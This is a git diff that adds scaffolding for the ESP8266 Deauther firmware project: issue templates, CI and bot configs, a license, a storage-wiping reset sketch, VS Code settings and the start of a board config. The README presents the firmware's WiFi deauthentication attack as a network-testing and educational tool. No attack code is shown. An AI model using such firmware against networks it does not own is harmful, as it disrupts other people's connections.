the issue has been fixed** — try to reproduce it using the + latest `master` or development branch in the repository. + +3. **Isolate the problem**. + +A good bug report shouldn't leave others needing to chase you up for more +information. Please try to be as detailed as possible in your report. What is +your environment? What steps will reproduce the issue? What browser(s) and OS +experience the problem? What would you expect to be the outcome? All these +details will help people to fix any potential bugs. + +Example: + +> Short and descriptive example bug report title +> +> A summary of the issue and the browser/OS environment in which it occurs. If +> suitable, include the steps required to reproduce the bug. +> +> 1. This is the first step +> 2. This is the second step +> 3. Further steps, etc. +> +> `` - a link to the serial output on pastebin +> `` - a photo of your build with apparent wiring +> +> Any other information you want to share that is relevant to the issue being +> reported. This might include the lines of code that you have identified as +> causing the bug, and potential solutions (and your opinions on their +> merits). + + + +## Feature requests + +Feature requests are welcome. But take a moment to find out whether your idea +fits with the scope and aims of the project. It's up to *you* to make a strong +case to convince the project's developers of the merits of this feature. Please +provide as much detail and context as possible. + + + +## Pull requests + +Good pull requests - patches, improvements, new features - are a fantastic +help. They should remain focused in scope and avoid containing unrelated +commits. + +**Please ask first** before embarking on any significant pull request (e.g. +implementing features, refactoring code, porting to a different language), +otherwise you risk spending a lot of time working on something that the +project's developers might not want to merge into the project. + +Please adhere to the coding conventions used throughout a project (indentation, +accurate comments, etc.) and any other requirements (such as test coverage). diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml new file mode 100644 index 0000000..9d7db34 --- /dev/null +++ b/.github/FUNDING.yml @@ -0,0 +1,12 @@ +# These are supported funding model platforms + +github: spacehuhntech +patreon: # Replace with a single Patreon username +open_collective: # Replace with a single Open Collective username +ko_fi: spacehuhn +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry +liberapay: # Replace with a single Liberapay username +issuehunt: # Replace with a single IssueHunt username +otechie: # Replace with a single Otechie username +custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/.github/ISSUE_TEMPLATE.md b/.github/ISSUE_TEMPLATE.md new file mode 100644 index 0000000..389de24 --- /dev/null +++ b/.github/ISSUE_TEMPLATE.md @@ -0,0 +1,6 @@ +> Please search for existing (open and closed) issues first to avoid duplicates. +Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki). + +``` +PASTE YOUR ERROR/COMPILE LOGS HERE +``` \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/1--error-report.md b/.github/ISSUE_TEMPLATE/1--error-report.md new file mode 100644 index 0000000..0e94997 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/1--error-report.md @@ -0,0 +1,45 @@ +--- +name: 1. Problem or error report +about: I encountered a problem and need help to solve it +title: "" +labels: help wanted +assignees: '' +--- + +> Have you searched for existing (open and closed) issues describing the same problem? + +Yes/No + +**Describe the error** +A clear and concise description of what the problem is. +What do you think causes it? + +``` +Error/Compile/Output Log +``` + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Environment (please complete the following information):** + - OS: [e.g. iOS] + - Browser [e.g. chrome, safari] + - Version [e.g. 1.0] + - Hardware [e.g. DSTIKE, DIY] + +**Attempts** +What have you already tried and didn't work out. + +**Additional context** +Provide as much information as possible, better too much than too little! +If you don't use this template, your issue might be closed and tagged invalid! diff --git a/.github/ISSUE_TEMPLATE/2--question.md b/.github/ISSUE_TEMPLATE/2--question.md new file mode 100644 index 0000000..6b4150b --- /dev/null +++ b/.github/ISSUE_TEMPLATE/2--question.md @@ -0,0 +1,11 @@ +--- +name: 2. Question +about: I have a question about this project +title: "" +labels: question +assignees: '' + +--- + +> Please search for existing (open and closed) issues first to avoid duplicates. +Also have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki). diff --git a/.github/ISSUE_TEMPLATE/3--feature-request.md b/.github/ISSUE_TEMPLATE/3--feature-request.md new file mode 100644 index 0000000..78e82a7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/3--feature-request.md @@ -0,0 +1,24 @@ +--- +name: 3. Feature request +about: I have an idea to improve this project +title: "" +labels: feature request +assignees: '' + +--- + +**Do similar feature requests issues already exist (open and closed)?** +If yes, please link them here: + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. +If you don't use this template, your issue might be closed and tagged invalid! diff --git a/.github/ISSUE_TEMPLATE/4--bug-report.md b/.github/ISSUE_TEMPLATE/4--bug-report.md new file mode 100644 index 0000000..2789534 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/4--bug-report.md @@ -0,0 +1,34 @@ +--- +name: 4. Bug report +about: I found a reproducible bug in the code +title: "" +labels: bug +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Environment (please complete the following information):** + - OS: [e.g. iOS] + - Browser [e.g. chrome, safari] + - Version [e.g. 1.0] + - Hardware [e.g. DSTIKE, DIY] + +**Additional context** +Add any other context about the problem here. +If you don't use this template, your issue might be closed and tagged invalid! diff --git a/.github/ISSUE_TEMPLATE/5--documentation.md b/.github/ISSUE_TEMPLATE/5--documentation.md new file mode 100644 index 0000000..e583a4f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/5--documentation.md @@ -0,0 +1,18 @@ +--- +name: 5. Documentation +about: I have something to improve or add to the docs +title: '' +labels: documentation +assignees: '' + +--- + +**Describe your changes** +A clear and concise description of what you like to add or change. + +**Location** +Where should these changes be made or the information published? +Wiki, README, ... + +**Additional context** +Add any other context about your proposal. diff --git a/.github/config.yml b/.github/config.yml new file mode 100644 index 0000000..b809322 --- /dev/null +++ b/.github/config.yml @@ -0,0 +1,15 @@ +# Configuration for welcome - https://github.com/behaviorbot/welcome +newIssueWelcomeComment: > + Congrats on opening your first issue on this repository! 🎉
+ This is a automated message to help you avoid common pitfalls when asking for help online.
+ 👉 Be sure to:
+ * 🇬🇧 Communicate in English so everybody can understand you
+ * 📖 Have a look at the [Wiki](https://github.com/spacehuhntech/esp8266_deauther/wiki) and [README](https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/README.md) for information
+ * 🔍 Search for similar [issues (open and closed)](https://github.com/SpacehuhnTech/esp8266_deauther/issues?q=is%3Aissue+)
+ * ✍️ Provide enough information to understand, recreate and help out with your problem
+ * ℹ️ Let us know if you find a solution and please share it with us
+ * 📕 Close the issue when your problem has been solved + +newPRWelcomeComment: + +firstPRMergeComment: diff --git a/.github/stale.yml b/.github/stale.yml new file mode 100644 index 0000000..4ce5c25 --- /dev/null +++ b/.github/stale.yml @@ -0,0 +1,19 @@ +# Number of days of inactivity before an issue becomes stale +daysUntilStale: 180 +# Number of days of inactivity before a stale issue is closed +daysUntilClose: 7 +# Issues with these labels will never be considered stale +exemptLabels: + - pinned + - bug + - translation + - feature request +# Label to use when marking an issue as stale +staleLabel: stale +# Comment to post when marking an issue as stale. Set to `false` to disable +markComment: > + This issue has been automatically marked as stale because it has not had + recent activity. It will be closed if no further activity occurs. Thank you + for your contributions. +# Comment to post when closing a stale issue. Set to `false` to disable +closeComment: false diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml new file mode 100644 index 0000000..df7def5 --- /dev/null +++ b/.github/workflows/nightly.yml @@ -0,0 +1,21 @@ +name: Trigger nightly build + +on: + push: + +jobs: + + notify-nightly: + name: "Trigger new build on nightly-deauther" + runs-on: ubuntu-latest + steps: + - name: Build message title + id: notif + run: echo ::set-output name=TITLE::Deauther V2 $(echo ${{ github.sha }} | cut -c -7) + + - name: Send message + run: | + curl -X POST https://api.github.com/repos/spacehuhntech/nightly-deauther/dispatches \ + -H 'Accept: application/vnd.github.everest-preview+json' \ + -u ${{ secrets.ACCESS_TOKEN }} \ + --data '{"event_type": "${{ steps.notif.outputs.TITLE }}", "client_payload": {}}' diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..e9ffb8b --- /dev/null +++ b/.gitignore @@ -0,0 +1,12 @@ + +*.bin + +*.elf + +*.map + +.DS_Store + +*.pyc + +utils/web_converter/css_html_js_minify/__pycache__/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..6b380e6 --- /dev/null +++ b/LICENSE @@ -0,0 +1,23 @@ +Do not redistribute, advertise or sell this software as a "jammer"!!! + +MIT License + +Copyright (c) 2020 Spacehuhn Technologies + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..d16584c --- /dev/null +++ b/README.md @@ -0,0 +1,38 @@ +# ESP8266 Deauther + +Deauther Logo + +**Scan for WiFi devices, block selected connections, create dozens of networks and confuse WiFi scanners.** + +## New Documentation + +Hi 👋 +Please visit [Deauther.com](https://deauther.com) for information about this project. +Here are some quick links: + +* [Buy](https://deauther.com/docs/buy) +* [Download](https://deauther.com/docs/download) +* [DIY Tutorial](https://deauther.com/docs/category/diy-tutorial) +* [Usage](https://deauther.com/docs/category/usage) +* [FAQ](https://deauther.com/docs/faq) + +## Password + +The password for `pwned` is `deauther` + +## About this Project + +This firmware allows you to easily perform a variety of actions to test 802.11 networks using an [ESP8266](https://www.espressif.com/en/products/socs/esp8266). It's also a great project for learning about WiFi, microcontrollers, Arduino, hacking and electronics/programming in general. + +The deauthentication attack is the main feature, which can be used to disconnect devices from their WiFi network. +Although this denial-of-service attack is nothing new, a lot of devices are still vulnerable to it. Luckily this is slowly changing with more WiFi 6 enabled devices being used. But a lot of outdated WiFi devices remain in place, for example in cheap IoT hardware. +With an ESP8266 Deauther, you can easily test this attack on your 2.4GHz WiFi network/devices and see whether it's successful or not. And if it is, you know you should upgrade your network. + +## Disclaimer + +This project is a proof of concept for testing and educational purposes. +Neither the ESP8266, nor its SDK was meant or built for such purposes. **Bugs can occur!** + +**Use it only against your own networks and devices!** +Please check the legal regulations in your country before using it. +We don't take any responsibility for what you do with this program. \ No newline at end of file diff --git a/Reset_Sketch/README.md b/Reset_Sketch/README.md new file mode 100644 index 0000000..1ebc191 --- /dev/null +++ b/Reset_Sketch/README.md @@ -0,0 +1,14 @@ +# RESET + +## Method 1 + +Open the Reset_Sketch.ino and upload with the correct settings. + +## Method 2 + +Flash one of the `reset_` files. + +## Method 3 + +Flash the `blank_1MB.bin` to 0x000000 for 1MB modules. +Flash it to 0x000000, 0x100000, 0x200000 and 0x300000 for 4MB modules. \ No newline at end of file diff --git a/Reset_Sketch/Reset_Sketch.ino b/Reset_Sketch/Reset_Sketch.ino new file mode 100644 index 0000000..a12ce2c --- /dev/null +++ b/Reset_Sketch/Reset_Sketch.ino @@ -0,0 +1,47 @@ +#include +#include + +/* + Upload this sketch to your ESP8266 to erase + - all files in the SPIFFS, + - all data in the EEPROM + - WiFi credentials (SSID, password) + + Also overwrites the previous program with this one (obviously). +*/ + +void setup() { + Serial.begin(115200); + + Serial.println(); + Serial.println("STARTING..."); + + EEPROM.begin(4096); + Serial.println("EEPROM initialized"); + + for (int i = 0; i < 4096; ++i){ + EEPROM.write(i,0x00); + } + + Serial.println("EEPROM cleaned"); + + LittleFS.begin(); + Serial.println("SPIFFS initialized"); + + LittleFS.format(); + Serial.println("SPIFFS cleaned"); + + ESP.eraseConfig(); + + Serial.println("WiFi credentials erased"); + + Serial.println("DONE!"); + + delay(10000); + + ESP.reset(); +} + +void loop() { + +} diff --git a/arduino-cli.yaml b/arduino-cli.yaml new file mode 100644 index 0000000..8cc4503 --- /dev/null +++ b/arduino-cli.yaml @@ -0,0 +1,4 @@ +# arduino-cli.yaml +board_manager: + additional_urls: + - https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json diff --git a/esp8266_wifitools/.vscode/arduino.json b/esp8266_wifitools/.vscode/arduino.json new file mode 100644 index 0000000..6a24217 --- /dev/null +++ b/esp8266_wifitools/.vscode/arduino.json @@ -0,0 +1,6 @@ +{ + "configuration": "deauther_config=nodemcu,eesz=4M1M,wipe=none,baud=115200", + "board": "deauther:esp8266:nodemcuv2", + "sketch": "esp8266_wifitools.ino", + "port": "/dev/ttyUSB0" +} \ No newline at end of file diff --git a/esp8266_wifitools/.vscode/c_cpp_properties.json b/esp8266_wifitools/.vscode/c_cpp_properties.json new file mode 100644 index 0000000..02b2b3f --- /dev/null +++ b/esp8266_wifitools/.vscode/c_cpp_properties.json @@ -0,0 +1,278 @@ +{ + "version": 4, + "configurations": [ + { + "name": "Arduino", + "compilerPath": "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/bin/xtensa-lx106-elf-g++", + "compilerArgs": [ + "-U__STRICT_ANSI__", + "-w", + "-mlongcalls", + "-mtext-section-literals", + "-fno-rtti", + "-falign-functions=4", + "-std=gnu++11" + ], + "intelliSenseMode": "gcc-x64", + "includePath": [ + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/tools/sdk/include", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/tools/sdk/lwip2/include", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/tools/sdk/libc/xtensa-lx106-elf/include", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/cores/esp8266", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/variants/nodemcu", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/EEPROM", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/LittleFS/src", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/ESP8266WiFi/src", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/Wire", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/DNSServer/src", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/ESP8266WebServer/src", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/ESP8266mDNS/src", + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/libraries/SPI", + "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/xtensa-lx106-elf/include/c++/4.8.2", + "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/xtensa-lx106-elf/include/c++/4.8.2/xtensa-lx106-elf", + "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/xtensa-lx106-elf/include/c++/4.8.2/backward", + "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/lib/gcc/xtensa-lx106-elf/4.8.2/include", + "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/lib/gcc/xtensa-lx106-elf/4.8.2/include-fixed", + "/home/kali/.arduino15/packages/deauther/tools/xtensa-lx106-elf-gcc/2.5.0-4-b40a506/xtensa-lx106-elf/include" + ], + "forcedInclude": [ + "/home/kali/.arduino15/packages/deauther/hardware/esp8266/2.7.5/cores/esp8266/Arduino.h" + ], + "cStandard": "c11", + "cppStandard": "c++11", + "defines": [ + "__ets__", + "ICACHE_FLASH", + "NONOSDK22x_190703=1", + "F_CPU=160000000L", + "LWIP_OPEN_SRC", + "TCP_MSS=536", + "LWIP_FEATURES=1", + "LWIP_IPV6=0", + "ARDUINO=10819", + "ARDUINO_ESP8266_NODEMCU", + "ARDUINO_ARCH_ESP8266", + "ARDUINO_BOARD=\"ESP8266_NODEMCU\"", + "FLASHMODE_DIO", + "ESP8266", + "NODEMCU", + "__DBL_MIN_EXP__=(-1021)", + "__UINT_LEAST16_MAX__=65535", + "__ATOMIC_ACQUIRE=2", + "__FLT_MIN__=1.1754943508222875e-38F", + "__UINT_LEAST8_TYPE__=unsigned char", + "__INTMAX_C(c)=c ## LL", + "__CHAR_BIT__=8", + "__UINT8_MAX__=255", + "__WINT_MAX__=4294967295U", + "__ORDER_LITTLE_ENDIAN__=1234", + "__SIZE_MAX__=4294967295U", + "__WCHAR_MAX__=65535", + "__DBL_DENORM_MIN__=double(4.9406564584124654e-324L)", + "__GCC_ATOMIC_CHAR_LOCK_FREE=1", + "__FLT_EVAL_METHOD__=0", + "__GCC_ATOMIC_CHAR32_T_LOCK_FREE=1", + "__UINT_FAST64_MAX__=18446744073709551615ULL", + "__SIG_ATOMIC_TYPE__=int", + "__DBL_MIN_10_EXP__=(-307)", + "__FINITE_MATH_ONLY__=0", + "__GNUC_PATCHLEVEL__=2", + "__UINT_FAST8_MAX__=4294967295U", + "__DEC64_MAX_EXP__=385", + "__INT8_C(c)=c", + "__UINT_LEAST64_MAX__=18446744073709551615ULL", + "__SHRT_MAX__=32767", + "__LDBL_MAX__=1.7976931348623157e+308L", + "__UINT_LEAST8_MAX__=255", + "__GCC_ATOMIC_BOOL_LOCK_FREE=1", + "__UINTMAX_TYPE__=long long unsigned int", + "__DEC32_EPSILON__=1E-6DF", + "__CHAR_UNSIGNED__=1", + "__UINT32_MAX__=4294967295UL", + "__LDBL_MAX_EXP__=1024", + "__WINT_MIN__=0U", + "__SCHAR_MAX__=127", + "__WCHAR_MIN__=0", + "__INT64_C(c)=c ## LL", + "__DBL_DIG__=15", + "__GCC_ATOMIC_POINTER_LOCK_FREE=1", + "__XTENSA_CALL0_ABI__=1", + "__SIZEOF_INT__=4", + "__SIZEOF_POINTER__=4", + "__GCC_ATOMIC_CHAR16_T_LOCK_FREE=1", + "__USER_LABEL_PREFIX__", + "__STDC_HOSTED__=1", + "__LDBL_HAS_INFINITY__=1", + "__XTENSA_EL__=1", + "__FLT_EPSILON__=1.1920928955078125e-7F", + "__GXX_WEAK__=1", + "__LDBL_MIN__=2.2250738585072014e-308L", + "__DEC32_MAX__=9.999999E96DF", + "__INT32_MAX__=2147483647L", + "__SIZEOF_LONG__=4", + "__UINT16_C(c)=c", + "__DECIMAL_DIG__=17", + "__LDBL_HAS_QUIET_NAN__=1", + "__GNUC__=4", + "__GXX_RTTI=1", + "__FLT_HAS_DENORM__=1", + "__SIZEOF_LONG_DOUBLE__=8", + "__BIGGEST_ALIGNMENT__=16", + "__DBL_MAX__=double(1.7976931348623157e+308L)", + "__INT_FAST32_MAX__=2147483647", + "__DBL_HAS_INFINITY__=1", + "__INT64_MAX__=9223372036854775807LL", + "__DEC32_MIN_EXP__=(-94)", + "__INT_FAST16_TYPE__=int", + "__LDBL_HAS_DENORM__=1", + "__cplusplus=199711L", + "__DEC128_MAX__=9.999999999999999999999999999999999E6144DL", + "__INT_LEAST32_MAX__=2147483647L", + "__DEC32_MIN__=1E-95DF", + "__DEPRECATED=1", + "__DBL_MAX_EXP__=1024", + "__DEC128_EPSILON__=1E-33DL", + "__PTRDIFF_MAX__=2147483647", + "__GNUG__=4", + "__LONG_LONG_MAX__=9223372036854775807LL", + "__SIZEOF_SIZE_T__=4", + "__SIZEOF_WINT_T__=4", + "__GXX_ABI_VERSION=1002", + "__FLT_MIN_EXP__=(-125)", + "__INT_FAST64_TYPE__=long long int", + "__DBL_MIN__=double(2.2250738585072014e-308L)", + "__FLT_MIN_10_EXP__=(-37)", + "__DEC128_MIN__=1E-6143DL", + "__REGISTER_PREFIX__", + "__UINT16_MAX__=65535", + "__DBL_HAS_DENORM__=1", + "__UINT8_TYPE__=unsigned char", + "__NO_INLINE__=1", + "__FLT_MANT_DIG__=24", + "__VERSION__=\"4.8.2\"", + "__UINT64_C(c)=c ## ULL", + "__XTENSA_SOFT_FLOAT__=1", + "__GCC_ATOMIC_INT_LOCK_FREE=1", + "__FLOAT_WORD_ORDER__=__ORDER_LITTLE_ENDIAN__", + "__INT32_C(c)=c ## L", + "__DEC64_EPSILON__=1E-15DD", + "__ORDER_PDP_ENDIAN__=3412", + "__DEC128_MIN_EXP__=(-6142)", + "__INT_FAST32_TYPE__=int", + "__UINT_LEAST16_TYPE__=short unsigned int", + "__INT16_MAX__=32767", + "__SIZE_TYPE__=unsigned int", + "__UINT64_MAX__=18446744073709551615ULL", + "__INT8_TYPE__=signed char", + "__ELF__=1", + "__xtensa__=1", + "__FLT_RADIX__=2", + "__INT_LEAST16_TYPE__=short int", + "__LDBL_EPSILON__=2.2204460492503131e-16L", + "__UINTMAX_C(c)=c ## ULL", + "__SIG_ATOMIC_MAX__=2147483647", + "__GCC_ATOMIC_WCHAR_T_LOCK_FREE=1", + "__SIZEOF_PTRDIFF_T__=4", + "__DEC32_SUBNORMAL_MIN__=0.000001E-95DF", + "__INT_FAST16_MAX__=2147483647", + "__UINT_FAST32_MAX__=4294967295U", + "__UINT_LEAST64_TYPE__=long long unsigned int", + "__FLT_HAS_QUIET_NAN__=1", + "__FLT_MAX_10_EXP__=38", + "__LONG_MAX__=2147483647L", + "__DEC128_SUBNORMAL_MIN__=0.000000000000000000000000000000001E-6143DL", + "__FLT_HAS_INFINITY__=1", + "__UINT_FAST16_TYPE__=unsigned int", + "__DEC64_MAX__=9.999999999999999E384DD", + "__CHAR16_TYPE__=short unsigned int", + "__PRAGMA_REDEFINE_EXTNAME=1", + "__INT_LEAST16_MAX__=32767", + "__DEC64_MANT_DIG__=16", + "__UINT_LEAST32_MAX__=4294967295UL", + "__GCC_ATOMIC_LONG_LOCK_FREE=1", + "__INT_LEAST64_TYPE__=long long int", + "__INT16_TYPE__=short int", + "__INT_LEAST8_TYPE__=signed char", + "__DEC32_MAX_EXP__=97", + "__INT_FAST8_MAX__=2147483647", + "__INTPTR_MAX__=2147483647", + "__EXCEPTIONS=1", + "__LDBL_MANT_DIG__=53", + "__DBL_HAS_QUIET_NAN__=1", + "__SIG_ATOMIC_MIN__=(-__SIG_ATOMIC_MAX__ - 1)", + "__INTPTR_TYPE__=int", + "__UINT16_TYPE__=short unsigned int", + "__WCHAR_TYPE__=short unsigned int", + "__SIZEOF_FLOAT__=4", + "__UINTPTR_MAX__=4294967295U", + "__DEC64_MIN_EXP__=(-382)", + "__INT_FAST64_MAX__=9223372036854775807LL", + "__GCC_ATOMIC_TEST_AND_SET_TRUEVAL=1", + "__FLT_DIG__=6", + "__UINT_FAST64_TYPE__=long long unsigned int", + "__INT_MAX__=2147483647", + "__INT64_TYPE__=long long int", + "__FLT_MAX_EXP__=128", + "__DBL_MANT_DIG__=53", + "__INT_LEAST64_MAX__=9223372036854775807LL", + "__DEC64_MIN__=1E-383DD", + "__WINT_TYPE__=unsigned int", + "__UINT_LEAST32_TYPE__=long unsigned int", + "__SIZEOF_SHORT__=2", + "__LDBL_MIN_EXP__=(-1021)", + "__INT_LEAST8_MAX__=127", + "__WCHAR_UNSIGNED__=1", + "__LDBL_MAX_10_EXP__=308", + "__ATOMIC_RELAXED=0", + "__DBL_EPSILON__=double(2.2204460492503131e-16L)", + "__UINT8_C(c)=c", + "__INT_LEAST32_TYPE__=long int", + "__SIZEOF_WCHAR_T__=2", + "__UINT64_TYPE__=long long unsigned int", + "__INT_FAST8_TYPE__=int", + "__DBL_DECIMAL_DIG__=17", + "__DEC_EVAL_METHOD__=2", + "__XTENSA__=1", + "__ORDER_BIG_ENDIAN__=4321", + "__UINT32_C(c)=c ## UL", + "__INTMAX_MAX__=9223372036854775807LL", + "__BYTE_ORDER__=__ORDER_LITTLE_ENDIAN__", + "__FLT_DENORM_MIN__=1.4012984643248171e-45F", + "__INT8_MAX__=127", + "__UINT_FAST32_TYPE__=unsigned int", + "__CHAR32_TYPE__=long unsigned int", + "__FLT_MAX__=3.4028234663852886e+38F", + "__INT32_TYPE__=long int", + "__SIZEOF_DOUBLE__=8", + "__INTMAX_TYPE__=long long int", + "__DEC128_MAX_EXP__=6145", + "__ATOMIC_CONSUME=1", + "__GNUC_MINOR__=8", + "__UINTMAX_MAX__=18446744073709551615ULL", + "__DEC32_MANT_DIG__=7", + "__DBL_MAX_10_EXP__=308", + "__LDBL_DENORM_MIN__=4.9406564584124654e-324L", + "__INT16_C(c)=c", + "__STDC__=1", + "__PTRDIFF_TYPE__=int", + "__ATOMIC_SEQ_CST=5", + "__UINT32_TYPE__=long unsigned int", + "__UINTPTR_TYPE__=unsigned int", + "__DEC64_SUBNORMAL_MIN__=0.000000000000001E-383DD", + "__DEC128_MANT_DIG__=34", + "__LDBL_MIN_10_EXP__=(-307)", + "__SIZEOF_LONG_LONG__=8", + "__GCC_ATOMIC_LLONG_LOCK_FREE=1", + "__LDBL_DIG__=15", + "__FLT_DECIMAL_DIG__=9", + "__UINT_FAST16_MAX__=4294967295U", + "__GNUC_GNU_INLINE__=1", + "__GCC_ATOMIC_SHORT_LOCK_FREE=1", + "__UINT_FAST8_TYPE__=unsigned int", + "__ATOMIC_ACQ_REL=4", + "__ATOMIC_RELEASE=3", + "USBCON" + ] + } + ] +} \ No newline at end of file diff --git a/esp8266_wifitools/.vscode/settings.json b/esp8266_wifitools/.vscode/settings.json new file mode 100644 index 0000000..379fd7e --- /dev/null +++ b/esp8266_wifitools/.vscode/settings.json @@ -0,0 +1,6 @@ +{ + "files.associations": { + "algorithm": "cpp" + }, + "C_Cpp.errorSquiggles": "disabled" +} \ No newline at end of file diff --git a/esp8266_wifitools/A_config.h b/esp8266_wifitools/A_config.h new file mode 100644 index 0000000..8ff71e6 --- /dev/null +++ b/esp8266_wifitools/A_config.h @@ -0,0 +1,746 @@ +/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */ + +#pragma once + +#define ENABLE_DEBUG +#define DEBUG_PORT Serial +#define DEBUG_BAUD 115200 + +// #define DEFAULT_ESP8266 +#define NODEMCU +// #define WEMOS_D1_MINI +// #define HACKHELD_VEGA +// #define DISPLAY_EXAMPLE_I2C +// #define DISPLAY_EXAMPLE_SPI + +// #define MALTRONICS +// #define DSTIKE_DEAUTHER_V1 +// #define DSTIKE_DEAUTHER_V2 +// #define DSTIKE_DEAUTHER_V3 +// #define DSTIKE_DEAUTHER_V3_5 +// #define DSTIKE_D_DUINO_B_V5_LED_RING +// #define DSTIKE_DEAUTHER_BOY +// #define DSTIKE_NODEMCU_07 +// #define DSTIKE_NODEMCU_07_V2 +// #define DSTIKE_DEAUTHER_OLED +// #define DSTIKE_DEAUTHER_OLED_V1_5_S +// #define DSTIKE_DEAUTHER_OLED_V1_5 +// #define DSTIKE_DEAUTHER_OLED_V2 +// #define DSTIKE_DEAUTHER_OLED_V2_5 +// #define DSTIKE_DEAUTHER_OLED_V3 +// #define DSTIKE_DEAUTHER_OLED_V3_5 +// #define DSTIKE_DEAUTHER_OLED_V4 +// #define DSTIKE_DEAUTHER_OLED_V5 +// #define DSTIKE_DEAUTHER_OLED_V6 +// #define DSTIKE_DEAUTHER_MOSTER +// #define DSTIKE_DEAUTHER_MOSTER_V2 +// #define DSTIKE_DEAUTHER_MOSTER_V3 +// #define DSTIKE_DEAUTHER_MOSTER_V4 +// #define DSTIKE_DEAUTHER_MOSTER_V5 +// #define DSTIKE_USB_DEAUTHER +// #define DSTIKE_USB_DEAUTHER_V2 +// #define DSTIKE_DEAUTHER_WATCH +// #define DSTIKE_DEAUTHER_WATCH_V2 +// #define DSTIKE_DEAUTHER_MINI +// #define DSTIKE_DEAUTHER_MINI_EVO + +// #define LYASI_7W_E27_LAMP +// #define AVATAR_5W_E14_LAMP + +// Forces formatting of SPIFFS and EEPROM ot startup +// #define FORMAT_SPIFFS +// #define FORMAT_EEPROM + +// Forces a reset of all settings at startup +// #define RESET_SETTINGS + +// ========== CONFIGS ========== // + +// https://github.com/spacehuhntech/hackheld +#if defined(HACKHELD_VEGA) +// ===== LED ===== // + #define USE_LED true + #define LED_NEOPIXEL + + #define LED_NEOPIXEL_GRB +// #define LED_NEOPIXEL_RGB + + #define LED_MODE_BRIGHTNESS 10 + + #define LED_NUM 1 + #define LED_NEOPIXEL_PIN 15 // D8 + +// ===== DISPLAY ===== // + #define USE_DISPLAY true + #define FLIP_DIPLAY true + + #define SH1106_I2C + + #define I2C_ADDR 0x3C + #define I2C_SDA 4 // D2 + #define I2C_SCL 5 // D1 + +// ===== BUTTONS ===== // + #define BUTTON_UP 14 // D5 + #define BUTTON_DOWN 12 // D6 + #define BUTTON_A 2 // D4 + #define BUTTON_B 0 // D3 + +// https://github.com/SpacehuhnTech/esp8266_deauther/wiki/Setup-Display-&-Buttons#example-setup-with-i2c-oled +#elif defined(DISPLAY_EXAMPLE_I2C) + +// ===== DISPLAY ===== // + #define 